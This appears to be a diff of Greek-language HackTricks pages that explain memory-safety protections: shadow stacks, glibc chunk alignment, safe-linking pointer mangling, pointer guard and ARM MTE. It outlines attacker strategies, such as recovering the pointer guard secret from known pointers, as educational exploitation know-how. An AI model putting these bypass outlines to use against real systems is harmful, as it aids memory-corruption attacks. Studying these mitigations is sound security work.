* Το **shadow stack**, από την άλλη, εξασφαλίζει ότι ακόμη κι αν ένας επιτιθέμενος μπορεί να αντικαταστήσει μια διεύθυνση επιστροφής στην κανονική στοίβα, η **ανωμαλία θα ανιχνευθεί** κατά τη σύγκριση της διαφθαρμένης διεύθυνσης με το ασφαλές αντίγραφο που αποθηκεύεται στο shadow stack κατά την επιστροφή από μια συνάρτηση. Αν οι διευθύνσεις δεν ταιριάζουν, το πρόγραμμα μπορεί να τερματίσει ή να λάβει άλλα μέτρα ασφαλείας, αποτρέποντας την επιτυχία της επίθεσης.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Προστασίες Libc
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Επιβολή Στοίβας Τμημάτων
Το **Malloc** εκχωρεί μνήμη σε **ομάδες 8 bytes (32-bit) ή 16 bytes (64-bit)**. Αυτό σημαίνει ότι το τέλος των τμημάτων σε συστήματα 32-bit πρέπει να ευθυγραμμίζεται με το **0x8**, και σε συστήματα 64-bit με το **0x0**. Η λειτουργία ασφαλείας ελέγχει ότι κάθε τμήμα **ευθυγραμμίζεται σωστά** σε αυτές τις συγκεκριμένες θέσεις πριν χρησιμοποιηθεί ένας δείκτης από ένα bin.
Το **Malloc** εκχωρεί μνήμη σε **ομάδες 8 bytes (32-bit) ή 16 bytes (64-bit)**. Αυτό σημαίνει ότι το τέλος των τμημάτων σε συστήματα 32-bit πρέπει να ευθυγραμμίζεται με το **0x8**, και σε συστήματα 64-bit με το **0x0**. Η λειτουργία ασφαλείας ελέγχει ότι κάθε τμήμα ευθυγραμμίζεται σωστά σε αυτές τις συγκεκριμένες θέσεις πριν χρησιμοποιήσει ένα δείκτη από έναν κάδο.
### Οφέλη Ασφάλειας
Η επιβολή της ευθυγράμμισης τμημάτων σε συστήματα 64-bit ενισχύει σημαντικά την ασφάλεια του Malloc με τον τρόπο που **περιορίζει την τοποθέτηση ψεύτικων τμημάτων σε μόνο 1 στις 16 διευθύνσεις**. Αυτό δυσκολεύει τις προσπάθειες εκμετάλλευσης, ειδικά σε σενάρια όπου ο χρήστης έχει περιορισμένο έλεγχο επί των τιμών εισόδου, καθιστώντας τις επιθέσεις πιο πολύπλοκες και δυσκολότερες να εκτελεστούν με επιτυχία.
Η επιβολή της ευθυγράμμισης τμημάτων σε συστήματα 64-bit ενισχύει σημαντικά την ασφάλεια του Malloc περιορίζοντας την τοποθέτηση ψεύτικων τμημάτων σε μόνο 1 στις 16 διευθύνσεις. Αυτό δυσκολεύει τις προσπάθειες εκμετάλλευσης, ειδικά σε σενάρια όπου ο χρήστης έχει περιορισμένο έλεγχο επί των τιμών εισόδου, καθιστώντας τις επιθέσεις πιο πολύπλοκες και δυσκολότερες να εκτελεστούν με επιτυχία.
* **Επίθεση Fastbin στο \_\_malloc\_hook**
@ -28,50 +29,39 @@
## Ανακάτεμα Δεικτών σε fastbins και tcache
Το **Ανακάτεμα Δεικτών** είναι μια ασφαλειακή βελτίωση που χρησιμοποιείται για την προστασία των **fastbin και tcache Fd δεικτών** σε λειτουργίες διαχείρισης μνήμης. Αυτή η τεχνική βοηθά στην πρόληψη ορισμένων τύπων εκμετάλλευσης μνήμης, ειδικά αυτών που δεν απαιτούν διαρροή πληροφοριών μνήμης ή που διαμορφώνουν άμεσα τοποθεσίες μνήμης σχετικά με γνωστές θέσεις (σχετικές **αντικαταστάσεις**).
Το **Ανακάτεμα Δεικτών** είναι μια βελτίωση ασφάλειας που χρησιμοποιείται για την προστασία των **fastbin και tcache Fd δεικτών** σε λειτουργίες διαχείρισης μνήμης. Αυτή η τεχνική βοηθά στην πρόληψη ορισμένων τύπων τακτικών εκμετάλλευσης μνήμης, ειδικά αυτών που δεν απαιτούν διαρροή πληροφοριών μνήμης ή που διαμορφώνουν άμεσα τοποθεσίες μνήμης σχετικά με γνωστές θέσεις (σχετικές **αντικαταστάσεις**).
Η καρδιά αυτής της τεχνικής είναι μια τύπου ασάφειας:
Η καρδιά αυτής της τεχνικής είναι μια τύπος ασάφειας:
**`Νέος_Δείκτης = (L >> 12) XOR P`**
* **L** είναι η **Τοποθεσία Αποθήκευσης** του δείκτη.
* **P** είναι ο πραγματικός **fastbin/tcache Fd Δείκτης**.
Ο λόγος για τον οποίο γίνεται δυαδική μετατόπιση της τοποθεσίας αποθήκευσης (L) κατά 12 bits πριν τη λειτουργία XOR είναι κρίσιμος. Αυτή η διαμόρφωση αντιμετωπίζει μια ευπάθεια που είναι ενσωματωμένη στην προσδιοριστική φύση των λιγότερο σημαντικών 12 bits των διευθύνσεων μνήμης, τα οποία είναι συνήθως προβλέψιμα λόγω περιορισμών της αρχιτεκτονικής του συστήματος. Με τη μετατόπιση των bits, η προβλέψιμη μερίδα αφαιρείται από την εξίσωση, ενισχύοντας την τυχαιότητα του νέου, ανακατεμένου δείκτη και κατ' επέκταση προστατεύοντας ενάντια σε επιθέσεις που βασίζονται στην προβλέψιμότητα αυτών των bits.
Ο λόγος για τον οποίο γίνεται δυαδική μετατόπιση της τοποθεσίας αποθήκευσης (L) κατά 12 bits προς τα δεξιά πριν τη λειτουργία XOR είναι κρίσιμος. Αυτή η διαμόρφωση αντιμετωπίζει μια ευπάθεια που είναι ενσωματωμένη στην προσδιοριστική φύση των λιγότερο σημαντικών 12 bits των διευθύνσεων μνήμης, τα οποία είναι συνήθως προβλέψιμα λόγω περιορισμών της αρχιτεκτονικής του συστήματος. Με τη μετατόπιση των bits, η προβλέψιμη μερίδα αφαιρείται από την εξίσωση, ενισχύοντας την τυχαιότητα του νέου, ανακατεμένου δείκτη και προστατεύοντας έτσι ενάντια σε επιθέσεις που βασίζονται στην προβλέψιμότητα αυτών των bits.
Αυτός ο ανακατεμένος δείκτης εκμεταλλεύεται την υπάρχουσα τυχαιότητα που παρέχεται από το **Address Space Layout Randomization (ASLR)**, το οποίο τυχαιοποιεί τις διευθύνσεις που χρησιμοποιούνται από τα προγράμματα για να δυσκολέψει τους επιτιθέμενους να προβλέψουν τη μνημιακή διάταξη ενός διεργασίας.
Αυτός ο ανακατεμένος δείκτης εκμεταλλεύεται την υπάρχουσα τυχαιότητα που παρέχεται από το **Τυχαίο Διάταξης Χώρου Διευθύνσεων (ASLR)**, το οποίο τυχαιοποιεί τις διευθύνσεις που χρησιμοποιούνται από τα προγράμματα για να δυσκολέψει τους επιτιθέμενους να προβλέψουν τη μνημονική διάταξη ενός διεργασίας.
**Ανακατεμένος Δείκτης με Διαρροή Μνήμης**
**Ανακάτεμα** του δείκτη για ανάκτηση της αρχικής διεύθυνσης περιλαμβάνει τη χρήση της ίδιας λειτουργίας XOR. Εδώ, ο ανακατεμένος δείκτης θεωρείται ως P στην εξίσωση, και όταν γίνεται XOR με την αμετάβλητη τοποθεσία αποθήκευσης (L), αποκαλύπτεται ο αρχικός δείκτης. Αυτή η συμμετρία στο ανακάτεμα και ανάκτηση εξασφαλίζει ότι το σύστημα μπορεί να κωδικοποιεί και να αποκωδικοποιεί δείκτες χωρίς σημαντικά έξοδα, ενώ αυξάνει σημαντικά την ασφάλεια ενάντια σε επιθέσεις που διαμορφώνουν δείκτες μνήμης.
{% hint style="danger" %}
Για μια καλύτερη εξήγηση της διαδικασίας [**ελέγξτε την αρχική ανάρτηση από εδώ**](https://maxwelldulin.com/BlogPost?post=5445977088).
{% endhint %}
### Οφέλη Ασφάλειας
### Επισκόπηση Αλγορίθμου
Το ανακάτεμα δεικτών στοχεύει στο **πρόληψη μερικών και πλήρων αντικαταστάσεων δεικτών στη στοίβα** διαχείρισης στοίβας, μια σημαντική βελτίωση στην ασφάλεια. Αυτό το χαρακτηριστικό επηρεάζει τεχνικές εκμετάλλευσης με διάφορους τρόπους:
Η τύπου χρησιμοποιούμενη για το ανακάτεμα και την αποκωδικοποίηση των δεικτών είναι:&#x20;
**`Νέος_Δείκτης = (L >> 12) XOR P`**
Όπου το **L** είναι η τοποθεσία αποθήκευσης και το **P** είναι ο Fd δείκτης. Όταν το **L** μετατοπίζεται δεξιά κατά 12 bits, αποκαλύπτει τα πιο σημαντικά bits του **P**, λόγω της φύσης του **XOR**, που εξάγει 0 όταν τα bits XOR-άρονται με τον εαυτό τους.
**Βασικά Βήματα στον Αλγόριθμο:**
1. **Αρχική Διαρροή των Πιο Σημαντικών Bits**: Με το XOR του μετατοπισμένου **L** με το **P**, παίρνετε αποτελεσματικά τα πρώτα 12 bits του **P** επειδή η μετατοπισμένη περιοχή του **L** θα είναι μηδέν, αφήνοντας τα αντίστοιχα bits του **P** αναλλοίωτα.
2. **Ανάκτηση των Bits του Δείκτη**: Καθώς το XOR είναι αντιστρέψιμο, γνωρίζοντας το αποτέλεσμα και ένα από τα ορίσματα σας επιτρέπει να υπολογίσετε το άλλο όρισμα. Αυτή η ιδιότητα χρησιμοποιείται για να εξάγετε ολόκληρο το σύνολο των bits για το **P** με τον διαδοχικό XOR γνωστών συνόλων bits με τμήματα του ανακατεμένου δείκτη.
3. **Επαναλαμβανόμενο Ανακάτεμα**: Η διαδικασία επαναλαμβάνεται, κάθε φορά χρησιμοποιώντας τα νεότερα ανακαλυφθέντα bits του **P** από το προηγούμεν
1. **Πρόληψη Αντικατάστασης Μερικών Bytes**: Προηγουμένως, οι επιτιθέμενοι μπορούσαν να αλλάξουν ένα μέρος ενός δείκτη για να **ανακατευθύνουν τμήματα στοίβας σε διαφορετικές τοποθεσίες χωρίς να γνωρίζουν τις ακριβείς διευθύνσεις**, μια τεχνική που φαίνεται στην εκμετάλλευση **House of Roman** χωρίς διαρροή στοίβας. Με το ανακάτεμα δεικτών, τέτοιες αντικαταστάσεις **χωρίς διαρροή στοίβας απαιτούν πλέον βίαιη επίθεση**, μειώνοντας δραματικά τις πιθανότητες επιτυχίας τους.
2. **Αύξηση Δυσκολίας Επιθέσεων Tcache Bin/Fastbin**: Οι κοινές επιθέσεις που αντικαθιστούν δείκτες συναρτήσεων (όπως `__malloc_hook`) με διαμόρφωση εγ
## Προστασία Pointer Guard
Το Pointer guard είναι μια τεχνική μείωσης εκμετάλλευσης που χρησιμοποιείται στο glibc για την προστασία αποθηκευμένων δεικτών συνάρτησης, ιδιαίτερα αυτών που έχουν καταχωρηθεί από κλήσεις βιβλιοθήκης όπως το `atexit()`. Αυτή η προστασία περιλαμβάνει την ανακάτεμα των δεικτών με XOR με ένα μυστικό που αποθηκεύεται στα δεδομένα νήματος (`fs:0x30`) και την εφαρμογή ενός δυαδικού περιστροφής. Αυτό το μηχανισμό στοχεύει στο να αποτρέψει τους επιτιθέμενους από το να αρπάξουν τον έλεγχο ροής με τον παρεμβολή στους δείκτες συνάρτησης.
Το Pointer guard είναι μια τεχνική μείωσης εκμετάλλευσης που χρησιμοποιείται στο glibc για την προστασία αποθηκευμένων δεικτών συνάρτησης, ιδιαίτερα αυτών που έχουν καταχωρηθεί από κλήσεις βιβλιοθήκης όπως το `atexit()`. Αυτή η προστασία περιλαμβάνει την ανάκατεμα των δεικτών με XOR με ένα μυστικό που αποθηκεύεται στα δεδομένα νήματος (`fs:0x30`) και την εφαρμογή ενός δυαδικού περιστροφής. Αυτό το μηχανισμό στοχεύει στο να αποτρέψει τους επιτιθέμενους από το να αρπάξουν τη ροή ελέγχου με τον παρεμβολή σε δείκτες συνάρτησης.
### **Παράκαμψη του Pointer Guard με έκθεση**
### **Παράκαμψη του Pointer Guard με έκρηξη**
1. **Κατανόηση των Λειτουργιών του Pointer Guard:** Το ανακάτεμα των δεικτών γίνεται χρησιμοποιώντας τον μακρό `PTR_MANGLE` που κάνει XOR τον δείκτη με ένα μυστικό 64 bit και στη συνέχεια εκτελεί μια αριστερή περιστροφή 0x11 bits. Η αντίστροφη λειτουργία για την ανάκτηση του αρχικού δείκτη χειρίζεται από το `PTR_DEMANGLE`.
2. **Στρατηγική Επίθεσης:** Η επίθεση βασίζεται σε μια προσέγγιση γνωστού κειμένου, όπου ο επιτιθέμενος πρέπει να γνωρίζει τόσο την αρχική όσο και τη μετασχηματισμένη εκδοχή ενός δείκτη για να συμπεράνει το μυστικό που χρησιμοποιείται για τον μετασχηματισμό.
1. **Κατανόηση των Λειτουργιών του Pointer Guard:** Η ανάκατεμα (μετατροπή) των δεικτών γίνεται χρησιμοποιώντας τον μακρό `PTR_MANGLE` που κάνει XOR τον δείκτη με ένα μυστικό 64 bit και στη συνέχεια εκτελεί μια αριστερή περιστροφή 0x11 bits. Η αντίστροφη λειτουργία για την ανάκτηση του αρχικού δείκτη χειρίζεται από το `PTR_DEMANGLE`.
2. **Στρατηγική Επίθεσης:** Η επίθεση βασίζεται σε μια προσέγγιση γνωστού κειμένου, όπου ο επιτιθέμενος πρέπει να γνωρίζει τόσο την αρχική όσο και τη μετατραπείσα εκδοχή ενός δείκτη για να συμπεράνει το μυστικό που χρησιμοποιείται για τη μετατροπή.
3. **Εκμετάλλευση Γνωστών Κειμένων:**
* **Αναγνώριση Σταθερών Δεικτών Συνάρτησης:** Με την εξέταση του πηγαίου κώδικα του glibc ή των πινάκων δεικτών συνάρτησης που αρχικοποιούνται (όπως το `__libc_pthread_functions`), ένας επιτιθέμενος μπορεί να βρει προβλέψιμους δείκτες συνάρτησης.
* **Υπολογισμός του Μυστικού:** Χρησιμοποιώντας έναν γνωστό δείκτη συνάρτησης όπως το `__pthread_attr_destroy` και τη μετασχηματισμένη του εκδοχή από τον πίνακα δεικτών συνάρτησης, το μυστικό μπορεί να υπολογιστεί αναστρέφοντας την περιστροφή (δεξιά περιστροφή) του μετασχηματισμένου δείκτη και στη συνέχεια κάνοντας XOR με τη διεύθυνση της συνάρτησης.
4. **Εναλλακτικά Κείμενα:** Ο επιτιθέμενος μπορεί επίσης να πειραματιστεί με τον μετασχηματισμό δεικτών με γνωστές τιμές όπως το 0 ή το -1 για να δει αν αυτές παράγουν αναγνωρίσιμα πρότυπα στη μνήμη, αποκαλύπτοντας πιθανώς το μυστικό όταν αυτά τα πρότυπα βρίσκονται σε αναλήψεις μνήμης.
* **Υπολογισμός του Μυστικού:** Χρησιμοποιώντας έναν γνωστό δείκτη συνάρτησης όπως το `__pthread_attr_destroy` και τη μετατραπείσα του εκδοχή από τον πίνακα δεικτών συνάρτησης, το μυστικό μπορεί να υπολογιστεί αναστρέφοντας την περιστροφή (δεξιά περιστροφή) του μετατραπέντα δείκτη και στη συνέχεια κάνοντας XOR με τη διεύθυνση της συνάρτησης.
4. **Εναλλακτικά Κείμενα:** Ο επιτιθέμενος μπορεί επίσης να πειραματιστεί με τη μετατροπή δεικτών με γνωστές τιμές όπως το 0 ή το -1 για να δει αν αυτές παράγουν αναγνωρίσιμα πρότυπα στη μνήμη, αποκαλύπτοντας πιθανώς το μυστικό όταν αυτά τα πρότυπα βρίσκονται σε αναλήψεις μνήμης.
5. **Πρακτική Εφαρμογή:** Μετά τον υπολογισμό του μυστικού, ένας επιτιθέμενος μπορεί να χειρίζεται τους δείκτες με έλεγχο, παρακάμπτοντας ουσιαστικά την προστασία του Pointer Guard σε μια εφαρμογή πολλαπλών νημάτων με γνώση της βάσης δεδομένων libc και τη δυνατότητα ανάγνωσης αυθαίρετων τοποθεσιών μνήμης.
## Αναφορές

View file

@ -1,46 +1,47 @@
# Επέκταση Επισήμανσης Μνήμης (MTE)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Η **Επέκταση Επισήμανσης Μνήμης (MTE)** σχεδιάστηκε για να βελτιώσει την αξιοπιστία και την ασφάλεια λογισμικού με το **ανίχνευση και πρόληψη σφαλμάτων σχετικών με τη μνήμη**, όπως η υπέρβαση buffer και οι ευπάθειες χρήσης μετά την απελευθέρωση. Η MTE, ως μέρος της αρχιτεκτονικής **ARM**, παρέχει ένα μηχανισμό για να συνδέσει ένα **μικρό ετικέτα σε κάθε δέσμευση μνήμης** και μια **αντίστοιχη ετικέτα σε κάθε δείκτη** που αναφέρεται σε αυτήν τη μνήμη. Αυτή η προσέγγιση επιτρέπει την ανίχνευση παράνομων προσβάσεων μνήμης κατά την εκτέλεση, μειώνοντας σημαντικά τον κίνδυνο εκμετάλλευσης τέτοιων ευπαθειών για την εκτέλεση αυθαίρετου κώδικα.
Η **Επέκταση Επισήμανσης Μνήμης (MTE)** σχεδιάστηκε για να βελτιώσει την αξιοπιστία και την ασφάλεια λογισμικού με το **ανίχνευση και πρόληψη σφαλμάτων σχετικών με τη μνήμη**, όπως buffer overflows και ευπάθειες use-after-free. Η MTE, ως μέρος της αρχιτεκτονικής **ARM**, παρέχει ένα μηχανισμό για να συνδέσει ένα **μικρό ετικέτα σε κάθε δέσμευση μνήμης** και μια **αντίστοιχη ετικέτα σε κάθε δείκτη** που αναφέρεται σε αυτήν τη μνήμη. Αυτή η προσέγγιση επιτρέπει την ανίχνευση παράνομων προσβάσεων μνήμης κατά την εκτέλεση, μειώνοντας σημαντικά τον κίνδυνο εκμετάλλευσης τέτοιων ευπαθειών για την εκτέλεση αυθαίρετου κώδικα.
### **Πώς Λειτουργεί η Επέκταση Επισήμανσης Μνήμης**
Η MTE λειτουργεί με τον **διαχωρισμό της μνήμης σε μικρά, σταθερού μεγέθους τμήματα, με κάθε τμήμα να έχει ανατεθεί μια ετικέτα,** τυπικά μερικά bits σε μέγεθος.&#x20;
Η MTE λειτουργεί με τον **διαχωρισμό της μνήμης σε μικρά, σταθερού μεγέθους τμήματα, με κάθε τμήμα να έχει ανατεθεί μια ετικέτα,** τυπικά μερικών bits σε μέγεθος.&#x20;
Όταν δημιουργείται ένας δείκτης για να δείχνει σε αυτήν τη μνήμη, λαμβάνει την ίδια ετικέτα. Αυτή η ετικέτα αποθηκεύεται στα **αχρησιμοποίητα bits ενός δείκτη μνήμης**, συνδέοντας αποτελεσματικά τον δείκτη με το αντίστοιχο τμήμα μνήμης.
<figure><img src="../../.gitbook/assets/image (1199).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Όταν ένα πρόγραμμα έχει πρόσβαση στη μνήμη μέσω ενός δείκτη, το υλικό MTE ελέγχει ότι η **ετικέτα του δείκτη ταιριάζει με την ετικέτα του τμήματος μνήμης**. Αν οι ετικέτες **δεν ταιριάζουν**, υποδηλώνει μια **παράνομη πρόσβαση στη μνήμη**.
Όταν ένα πρόγραμμα έχει πρόσβαση στη μνήμη μέσω ενός δείκτη, το υλικό MTE ελέγχει ότι η **ετικέτα του δείκτη ταιριάζει με την ετικέτα του τμήματος μνήμης**. Αν οι ετικέτες **δεν ταιριάζουν**, υποδηλώνει μια **παράνομη πρόσβαση μνήμης.**
### Ετικέτες Δεικτών MTE
Οι ετικέτες μέσα σε έναν δείκτη αποθηκεύονται σε 4 bits μέσα στο πάνω byte:
<figure><img src="../../.gitbook/assets/image (1200).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Επομένως, αυτό επιτρέπει έως και **16 διαφορετικές τιμές ετικετών**.
Επομένως, αυτό επιτρέπει μέχρι **16 διαφορετικές τιμές ετικετών**.
### Ετικέτες Μνήμης MTE
Κάθε **16Β φυσικής μνήμης** έχουν μια αντίστοιχη **ετικέτα μνήμης**.
Κάθε **16B φυσικής μνήμης** έχουν μια αντίστοιχη **ετικέτα μνήμης**.
Οι ετικέτες μνήμης αποθηκεύονται σε μια **αφιερωμένη περιοχή RAM** (μη προσβάσιμη για κανονική χρήση). Έχοντας ετικέτες 4 bits για κάθε 16Β ετικέτες μνήμης μέχρι 3% της RAM.
Οι ετικέτες μνήμης αποθηκεύονται σε μια **αφιερωμένη περιοχή RAM** (μη προσβάσιμη για κανονική χρήση). Έχοντας ετικέτες 4 bits για κάθε 16B ετικέτες μνήμης μέχρι 3% της RAM.
Η ARM εισάγει τις ακόλουθες οδηγίες για την επεξεργασία αυτών των ετικετών στην αφιερωμένη μνήμη RAM:
```
@ -49,43 +50,43 @@ LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Έλεγχος Λειτουργιών
## Λειτουργίες Ελέγχου
### Συγχρονισμένος
### Συγχρονισμένη
Η CPU ελέγχει τις ετικέτες **κατά την εκτέλεση της εντολής**, αν υπάρχει αναντιστοιχία, εκτοξεύει μια εξαίρεση.\
Αυτό είναι το πιο αργό και ασφαλές.
Αυτή είναι η πιο αργή και ασφαλής μέθοδος.
### Ασύγχρονος
### Ασύγχρονη
Η CPU ελέγχει τις ετικέτες **ασύγχρονα**, και όταν βρεθεί μια αναντιστοιχία, ορίζει ένα bit εξαίρεσης σε ένα από τα καταχωρητές του συστήματος. Είναι **ταχύτερο** από το προηγούμενο αλλά **δεν μπορεί να εντοπίσει** ακριβώς την εντολή που προκάλεσε την αναντιστοιχία και δεν εκτοξεύει αμέσως την εξαίρεση, δίνοντας χρόνο στον επιτιθέμενο να ολοκληρώσει την επίθεσή του.
Η CPU ελέγχει τις ετικέτες **ασύγχρονα**, και όταν βρεθεί μια αναντιστοιχία, ορίζει ένα bit εξαίρεσης σε ένα από τα καταχωρητές του συστήματος. Είναι **ταχύτερη** από την προηγούμενη αλλά **δεν μπορεί να εντοπίσει** ακριβώς την εντολή που προκάλεσε την αναντιστοιχία και δεν εκτοξεύει αμέσως την εξαίρεση, δίνοντας χρόνο στον επιτιθέμενο να ολοκληρώσει την επίθεσή του.
### Μικτός
### Μικτή
???
## Υλοποίηση & Παραδείγματα Ανίχνευσης
Ονομάζεται Hardware Tag-Based KASAN, MTE-based KASAN ή in-kernel MTE.\
Οι διαχειριστές πυρήνα (όπως το `kmalloc`) θα **καλέσουν αυτή τη μονάδα** η οποία θα προετοιμάσει την ετικέτα που θα χρησιμοποιηθεί (τυχαία) για να την επισυνάψει στον χώρο πυρήνα που διατίθεται και στον επιστρεφόμενο δείκτη.
